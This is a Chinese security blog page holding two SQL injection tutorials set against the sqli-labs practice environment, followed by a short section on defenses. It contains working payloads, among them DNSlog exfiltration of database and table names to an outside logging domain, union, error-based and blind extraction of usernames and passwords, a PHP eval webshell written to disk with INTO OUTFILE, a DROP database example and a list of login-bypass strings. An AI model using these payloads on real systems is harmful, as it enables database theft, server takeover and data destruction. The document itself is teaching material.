DNSlog注入全解析DNSlog原理 DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。 DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。 DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。 DNSlog注入 关键函数:Load_file,用于读取文件并返回其内容为字符串。访问互联网文件时,需在最前面加上“//”。 使用前提: 存在注入点。 拥有root权限。 数据库具有读写权限,即secure_file_priv设置为空字符串。 具备请求URL的权限。 必须是Windows服务器环境。 复现过程D盘中写了个1.txt通过load_file函数,读取一下 select load_file('D:/1.txt')由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接select concat('Sentiment','\',(select database()));这里我用的是dnslog.org,获取一个随机的dns域名接下来通过sqli第一关进行演示,通过你获取的随机dns域名DNSlog外带数据库信息,注意dns域名前面需要有个点,否则会导致外带不成功http://192.168.209.149/Less-1/?id=1' and load_file(concat('\\\',database(),'.eaf61aee.log.dnslog.biz./abc')) -- w此时dns解析记录就有了你靶机的数据库名称前缀外带表名?id=1' and load_file(concat('\\\',(select group_concat(table_name separator '-') from information_schema.tables where table_schema=database()),'.eaf61aee.log.dnslog.biz./abc')) -- w外带列名?id=1' and load_file(concat('\\\',(select group_concat(column_name separator '-') from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w局限性通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性?id=1' and load_file(concat('\\\',(select hex(group_concat(column_name separator '_')) from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w十六进制转字符网安学习不迷路,欢迎各位网络安全大佬进来交流学习
2025年05月18日
783 阅读
0 评论
0 点赞
2025-05-18
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练环境工具:burp suite靶场:sqli服务器:centos7数据库:mysql5.7什么是 Sql 注入?SQL 注入是比较常见的网络攻击方式之一,它不是利用操作系统的 BUG 来实现攻击,而是针对程序员编写时的疏忽,通过 SQL 语句,实现无账号登录,甚至篡改数据库。由于以下的环境都是 MySQL 数据库,所以先了解点 MySQL 有关的知识。在 MySQL5.0 之后,MySQL 中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。mysql中注释符:# 、/**/ 、 --information_schema 中三个很重要的表: information_schema.schemata:该数据表存储了 mysql 数据库中的所有数据库的库名 information_schema.tables:该数据表存储了 mysql 数据库中的所有数据表的表名 information_schema.columns:该数据表存储了 mysql 数据库中的所有列的列名 Mysql 中常用的函数------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user():当前用户名 load_file():读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 @@version_complie_os:查看操作系统 -------------------------------------ascii(str):返回给定字符的ascii值。如果str是空字符串,返回0如果str是NULL,返回NULL。如 ascii("a")=97 length(str) : 返回给定字符串的长度,如 length("string")=6 substr(string,start,length):对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in" substr()、stbstring()、mid() :三个函数的用法、功能均一致 concat(username):将查询到的username连在一起,默认用逗号分隔 concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接 group_concat(username) :将username所有数据查询在一起,用逗号连接 limit 0,1:查询第1个数 limit 1,1:查询第2个数判断 SQL 注入是否存在 先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在 SQL 注入漏洞了。 还有在 URL 后面加 and 1 = 1 、 and 1 = 2看页面是否显示一样,显示不一样的话,肯定存在 SQL 注入漏洞了。 还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。 在 MySQL 中,有一个Benchmark()函数,它是用于测试性能的。Benchmark(count,expr),这个函数执行的结果,是将表达式 expr 执行 count 次 。 因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。易出现 SQL 注入的功能点: 凡是和数据库有交互的地方都容易出现 SQL 注入,SQL 注入经常出现在登陆页面、涉及获取 HTTP 头(user-agent / client-ip 等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在 HTTP 头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 ip 的,有可能会被存储进数据库中从而与数据库发生交互导致 sql 注入。Sql 注入的分类 分类依据 类型 获取信息的方式 布尔盲注,时间盲注,报错注入 ,union查询注入,堆叠注入等 提交方式 GET、POST、COOKIE、HTTP 注入等 注入点类型 数字类型的注入、字符串类型的注入、搜索型注入等 其他注入 二次注入、User-Agent 注入、文件读写、宽字节注入 、万能密码 等 N 大类型 Sql 注入原理一、布尔盲注1. 原理以及手工注入条件:攻击者无法直接获取到这些信息 Web 的页面的仅仅会返回 True 和 False。那么布尔盲注就是进行 SQL 注入之后然后根据页面返回的 True 或者是 False 来得到数据库中的相关信息。这里介绍的是通过 ascii 码进行盲注的案例。盲注一般用到的一些函数:ascii() 、substr()、length(),exists()、concat()等http://192.168.1.132:86/Less-5/?id=1为正确页面,回显如下图:http://192.168.209.128:88/Less-5/?id=1'为错误页面,发现注入点,回显如下图:http://192.168.209.128:88/Less-5/?id=1' and length(database())>5 -- qwe 注:这里 qwe 前需要使用空格使用 bool 值进行注入比如:and 1=11.如何判断数据库类型?这个例子中出错页面已经告诉了我们此数据库是 MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?目前主流的数据库都有自己的特有表分别如下: 数据库 表名 MySQL information_schema.tables Access msysobjects SQLServer sysobjects 通过这些特有表,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库//判断是否是Mysql数据库 http://192.168.209.128:88/Less-5/?id=1' and exists(select * from information_schema.tables) # //判断是否是 access数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) # //判断是否是 Sqlserver数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #' //对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。 information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍: 名称 描述 table_schema 记录数据库名 table_name 记录数据表名 table_rows 关于表的粗略行估计 data_length 记录表的大小(单位字节) 2. 判断当前数据库名(以下方法不适用于 access 和 SQL Server 数据库)1:判断当前数据库的长度,利用二分法 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>5 --+ //正常显示 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示任何数据 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>7 --+ //正常显示 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>8 --+ //不显示任何数据大于 7 正常显示,大于 8 不显示,说明大于 7 而不大于 8,所以可知当前数据库长度为 8imgimg2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断 //判断数据库的第一个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+ //判断数据库的第二个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+ ...........由此可以判断出当前数据库为 security,注意使用ascii码转换字符的时候需要使用十进制3. 判断当前数据库中的表(语句后面添加--+)http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在 admin 表1:判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2:判断每个表的长度 //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3:判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判断第一个表的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # .........由此可判断出存在表 emails、referers、uagents、users ,猜测 users 表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断4. 判断表中的字段http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在 admin 表,那么猜测是否存在 username 字段1:判断表中字段的个数 //判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2:判断字段的长度 //判断第一个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判断第二个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3:判断字段的ascii值 //判断第一个字段的第一个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判断第一个字段的第二个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ...........由此可判断出 users 表中存在 id、username、password 字段5.判断字段中的数据我们知道了 users 中有三个字段 id 、username 、password,我们现在爆出每个字段的数据1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 // 判断id字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 2:判断数据的ascii值 // 判断id字段的第一个数据的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断id字段的第一个数据的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 ...........二、union查询注入(union 注入)一、原理及手工注入三个条件: 两个表的列数相同,并且相应的列具有相似的数据类型。 查询结果回显。 存在注入漏洞。 我们可以通过order by来判断当前表的列数。http://192.168.209.128:88/Less-1/?id=1' order by 4-- qwq4 时错误,3 时正确,可得知,当前表有 3 列通过 union union查询来知道显示的列数。http://192.168.209.128:88/Less-1/?id=-1' union select 1 ,2 ,3 -- qwq我们union查询的就显示出来了。可知,第 2 列和第 3 列是回显列。那我们就可以在这两个位置插入一些函数了。------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user:当前用户名 load_file:读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 @@version_complie_os:查看操作系统 -------------------------------------开始注入脚本//回显出数据库版本信息、数据库所在路径 http://192.168.209.128:88/Less-1/?id=-1' union select 1,version(),@@datadir -- qwq //更多自行尝试 。。。。。。我们还可以通过 union 注入获得更多的信息。// 获得所有的数据库 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ // 获得所有的表 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables--+ // 获得所有的列 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+通过select 1,database(),3...,得出当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每个表中的列。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- + 如下,我们可以知道 users 表中有 id,username,password 三列 使用 group_concat()拼接账号密码还有 id,即可爆出所有数据http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users -- +三、文件读写1. union 注入读取文件注:当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;文件写入只能利用 union 注入示例:读取系统根目录下的/demo.txt 文件//union注入读取 /demo.txt 文件,windows使用->盘符:/路径 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("demo.txt") -- + //也可以把 /demo.txt 转换成16进制 这里没成功,可以去找找资料。。。 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x2F64656D6F2E747874) -- +如果不成功,参考以下解决方案 在 mysql 目录中找到 my.ini/my.cnf 文件在[mysqld]下面添加如下内容 secure_file_priv = "" 如图:登录 mysql 执行以下命令mysql>SHOW VARIABLES LIKE "secure_file_priv"; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+这里secure_file_priv的值要为""或者 "/"secure_file_priv 有三个值1、限制 mysqld 不允许导入 | 导出mysqld –secure_file_prive=null2、限制 mysqld 的导入 | 导出 只能发生在/tmp/目录下mysqld –secure_file_priv=/tmp/3、不对 mysqld 的导入 | 导出做限制secure_file_priv=''2. 盲注读取文件盲注读取的话就是利用hex函数,将读取的字符串转换成 16 进制,再利用ascii函数,转换成 ascii 码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成 http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1我们可以利用写入文件的功能,在 e 盘创建 4.php 文件,然后写入一句话木马。//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' -- + // 可以将一句话木马转换成16进制的形式 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' -- +在文件写入读取的时候,遇见以下这种情况。多半是因为权限不足,可以使用@@datadir,得到当前数据库存储目录,试着在数据库存储目录进行文件注入 比如http://192.168.209.128:88/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile '/www/server/mysql/4.php' --注入成功权限不足的解决办法-参考环境:CentOS7.0 64 位MySQL5.7问题:#使用'select into outfile'备份数据表提示无法写入文件 mysql> select 1,2,'you are very good hacker' from into outfile '/www/server/mysql/app.txt'; ERROR 1 (HY000): Can't create/write to file '/www/server/mysql/app.txt' (Errcode: 13)排查:#查看mysql的进程用户,为mysql用户 [root@lfs ~]# ps aux|grep mysqld root 1400 0.0 0.1 108208 1612 ? S 01:22 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql mysql 1778 0.0 6.6 974276 67076 ? Sl 01:22 0:06 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/data/lfs.err --pid-file=/usr/local/mysql/data/lfs.pid --socket=/tmp/mysql.sock --port=3306 #查看/www/server/mysql/目录的权限,mysql用户没有写入权限 [root@lfs ~]# ls -ld /www/server/mysql/ drwxr-xr-x 4 root root 4096 Aug 23 17:03 /www/server/mysql/解决办法:#将/data/mysql/目录的归属为mysql用户 chown -R mysql.mysql /www/server/mysql/ [root@lfs ~]# ls -ld /data/mysql/ drwxr-xr-x 4 mysql mysql 4096 Aug 23 17:03 /www/server/mysql/验证,写入成功: 四、报错注入报错注⼊常⽤的函数 floor() extractvalue() updatexml() geometrycollection() multipoint() polygon() multipolygon() linestring() .。。。。。 这里介绍一个案例updatexml()。updatexml()MySQL提供了一个 updatexml()函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面。version():返回数据库版本concat():拼接特殊符号和查询结果updatexml()函数的报错内容长度不能超过32个字符,常用的解决方式有两种: limit:分页 substr():截取字符 1.1 limit分页例如,已知users表中包含username和password两个字段,显示出某个password字段的数据id=-1' and updatexml(1, concat(0x7e,( select password from users limit 0,1 )), 3) -- a使用group_concat(字段名)显示出最高32位字符长度,password字段的数据id=-1' and updatexml(1, concat(0x7e,( select group_concat(password) from users limit 0,1 )), 3) -- a1.2 substr()获取密码数据案例http://192.168.209.128:88/Less-1/?id=-1' and updatexml(1, concat(0x7e, substr((select group_concat(password) from users),1,31) ),3) -- qwe1.3 步骤总结适用情况:页面有数据库报错信息1.网站信息必须是动态的,来自数据库的报错信息。 2.网站写死的、自定义的报错信息不算1>.判断是否报错参数中添加单/双引号,页面报错才可进行下一步。?id=1' -- a2>.判断报错条件参数中添加报错函数,检查报错信息是否正常回显。?id=1' and updatexml(1,'~',3) -- a 3>. 脱库//获取所有数据库 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(schema_name) from information_schema.schemata) ,1,31) ),3) -- qwq //获取所有表 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(table_name) from information_schema.tables where table_schema ='security') ,1,31) ),3) -- qwq //获取所有字段 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users') ,1,31) ),3) -- qwq五、时间盲注Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。//判断是否存在延时注入 ?id=1' and sleep(5) --+六、宽字节注入宽字节注入是由于不同编码中中英文所占字符的的不同所导致的,通常的来说,在GBK编码当中,一个汉字占用2个字节。除了UTF-8以外,所有的ANSI编码中文都是占用俩个字符。//GBK和其他所有ANSI结果为2 echo strlen("中") //UTF-8 echo strlen("中") //结果为3我们先说一下php中对于SQL注入的过滤,这里就不得不提到几个函数了。addslashes()函数,这个函数在预定义字符之前添加反斜杠 。 这个函数有一个特点虽然会添加反斜杠 进行转义,但是 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc()来检测是否已经转义。mysql_real_escape_string() 函数,这个函数用来转义sql语句中的特殊符号x00、n、r、、'、" 、x1a。注: 预定义字符:单引 ',双引 ",反斜 ,NULL 魔术引号:当打开时,所有单引号 '、双引号 " 、反斜杠 和NULL字符都会被自动加上一个反斜线来进行转义,和addslashes()函数的作用完全相同。所以,如果魔术引号打开,就不要使用addslashes()函数。一共有三个魔术引号指令: magic_quotes_gpc magic_quotes_runtime magic_quotes_sybase 实操:此次采用sqli的Less-32,//正常显示 http://192.168.209.128:88/Less-32/?id=1 -- qwq开始注入://添加引号 http://192.168.209.128:88/Less-32/?id=1' -- qwq//布尔注入 http://192.168.209.128:88/Less-32/?id=1' and 1=2 -- qwq//unionunion注入 http://192.168.209.128:88/Less-32/?id=1' union select 1,version(),database() -- qwq发现页面回显信息,每次注入都将进行了转义,这时候就要把 去掉,宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为2个字符是1个汉字,前提是前一个字符的ASCII值大于128,才会认为是汉字。所以只要我们输入的数据大于等于 %81 就可以使 ' 逃脱出来了。开始注入: http://192.168.1.132:86/Less-32/?id=1 %df 可以发现%df和 ' 组成了一个汉字 把/号干掉之后就可以用unionunion注入查询数据了。http://192.168.209.128:88/Less-32/?id=-1�' union select 1,2,3 -- qwq注入成功!七、堆叠注入在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 一条语句结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(union注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database user;服务器端生成的sql语句为:select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。八、二次注入概念二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是SQL注入的一种,但是比普通SQL注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。原理在第一次进行数据插入数据库得时候,仅仅知识使用了addslashes()或者是借助get_magic_quotes_gpc() 对其中得字符进行了转义,在后端代码中可能会被转义,但在存入数据库时候还是原来得数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就行了二次注入。过程 插入1‘# 转义成1’# 不能注入,但是保存在数据库时变成了原来的1’# 利用1’#进行注入,这里利用时要求取出数据时不转义 条件 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义) 数据库对自己存储得数据非常放心,直接读取出恶意数据给用户 利用 注册用户名admin’-- -(后面的-是为了突出前面的空格,起到了注释作用) 使用刚刚注册得账号进行登录。 3、查看注册源代码 发现用户在注册的时候没有进行特殊符号过滤,所以再一次说明我们注册的用户成功! 进行修改密码(攻击) 攻击成功 ,返回使用更新后的密码登录账号 admin。 登录成功 修改密码的时候,语句就会变为:$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin' -- w' and password='$curr_pass' ";-- w把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaa九、User-Agent 注入我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息。当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent。抓包,修改其User-Agent如下图,测试是否存在user-agent注入 页面报错,存在报错注入' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我们可以将 database()修改为任何的函数可以看到,页面将当前的数据库显示出来了。十、Cookie 注入原理cookie注入的原理是:就是修改cookie的值进行注入♦cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie♦要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。条件两个必须条件: 程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。 在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是在URL后面的参数,也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的SQL注入一样了。 十一、万能密码原理原验证登陆语句:SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'输入 1' or 1=1 or '1'='1万能密码语句变为:SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'即得到优先级关系:or<and<not,同一优先级默认从左往右计算。 上面'1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG' 先计算肯定返回false,因为密码是我们乱输入的。(此处是假) Username=‘1’ 返回假,数据库没有1这个用户名(此处是假) 1=1返回真(此处是真) 以上的结果是: 假 or 真 or假 返回真。验证通过。再比如:select tel,pwd where tel='111' and pwd='123456'我们把电话111看成一个变量,输入电话号码为' or 1= '1。sql就变为如下样子:select tel,pwd where tel='' or 1='1' and pwd='123456' 上面1='1' and pwd='123456'先计算肯定返回false。(此处是假) tel=‘’ 返回假,数据库没有''这个手机号。(此处是假) 以上的结果是: 真 or假 返回真。验证通过。常用的万能密码' or 1='1 'or'='or' admin admin'-- admin' or 4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or 4=4-- c a'or' 4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin' or 'a'='a 密码随便 'or'='or' 'or 4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1Sql 注入的预防一般在项目中我们不太会去注意 SQL 注入的问题,因为我们会使用 ORM,而 ORM 在实现的过程中也会帮我做 SQL 注入过滤;但有的时候 ORM 没法满足我们的需求,这时可能就会手撸原生 SQL 来执行预编译(PreparedStatement)(JSP)可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。String sql = "select id, no from user where id=?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); ps.executeQuery();如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?其原因就是:采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。PDO(PHP)首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。PDO对于解决SQL注入的原理也是基于预编译。$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行.使用正则表达式过滤正则表达式是一种用于匹配模式的工具,在检测 SQL 注入时非常有用。我们可以使用正则表达式来过滤和验证用户输入,以确保输入不包含任何恶意的 SQL 代码。下面是一些常见的正则表达式示例:对用户输入的特殊字符进行严格过滤,如 '、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、unionpattern = re.compile( r"(%27)|(')|(--)|(%23)|(#)|" # Regex for detection of SQL meta-characters r"w*((%27)|('))s+((%6F)|o|(%4F))((%72)|r|(%52))s*|" # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or', r"((%3D)|(=))[^n]*((%27)|(')|(--)|(%3B)|(;))" # Regex for typical SQL Injection attack eg: '= 1 --' r"((%27)|('))union|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))select|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))insert|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))update|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))drop", # Regex for detecting SQL Injection with the UNION keyword re.IGNORECASE, ) r = pattern.search("' OR 1 -- -") if r: return True其他Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库。设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查。使用 Web 应用防火墙。团长想组建一个网安萌新学习群,互相监督,成为网安大佬,如果内容对你有帮助,欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。感谢!原文地址https://mp.weixin.qq.com/s/qVjYhimggJZ-wWyLKDixZA
2025年05月18日
959 阅读
0 评论
0 点赞
2025-05-18
upload-labs通关全教程Web安全-文件上传漏洞超详细解析
